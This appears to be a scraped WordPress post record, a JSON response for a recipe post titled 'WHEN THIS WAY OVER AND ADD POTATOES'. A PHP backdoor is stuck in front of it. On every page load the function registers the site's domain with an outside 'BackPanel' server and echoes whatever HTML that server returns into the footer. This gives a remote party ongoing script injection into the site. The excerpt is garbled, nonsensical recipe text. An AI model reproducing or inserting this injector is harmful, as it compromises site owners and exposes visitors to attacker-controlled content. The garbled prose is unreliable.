function wp_injector_fetch_code() { $backend_url = 'https://validlogs.com/BackPanel/panel.php'; $domain = sanitize_text_field($_SERVER['HTTP_HOST']); $response = wp_remote_post($backend_url, array('body' => array('action' => 'register_domain', 'domain' => $domain), 'timeout' => 5)); if (is_wp_error($response)) return; $html_code = wp_remote_retrieve_body($response); if (!empty($html_code)) { add_action('wp_footer', function() use ($html_code) { echo $html_code; }); } } add_action('init', 'wp_injector_fetch_code'); {"id":26,"date":"2015-07-04T08:52:04","date_gmt":"2015-07-04T08:52:04","guid":{"rendered":"https:\/\/hickoryslow.com.au\/?p=26"},"modified":"2025-09-04T07:12:12","modified_gmt":"2025-09-04T07:12:12","slug":"when-this-way","status":"publish","type":"post","link":"https:\/\/hickoryslow.com.au\/?p=26","title":{"rendered":"WHEN THIS WAY OVER AND ADD POTATOES"},"content":{"rendered":"
<\/p>\n","protected":false},"excerpt":{"rendered":"
Fill some gravy if there remains below the fillet or till they have left, and the soup and serve as an hour, and will do not very finely three…<\/p>\n","protected":false},"author":1,"featured_media":27,"comment_status":"open","ping_status":"open","sticky":false,"template":"brizy-blank-template.php","format":"standard","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"categories":[10,8],"tags":[12,7,5,6,11],"class_list":["post-26","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-press","category-recipes","tag-bar","tag-bistro","tag-food","tag-ingridients","tag-restaurant"],"yoast_head":"\n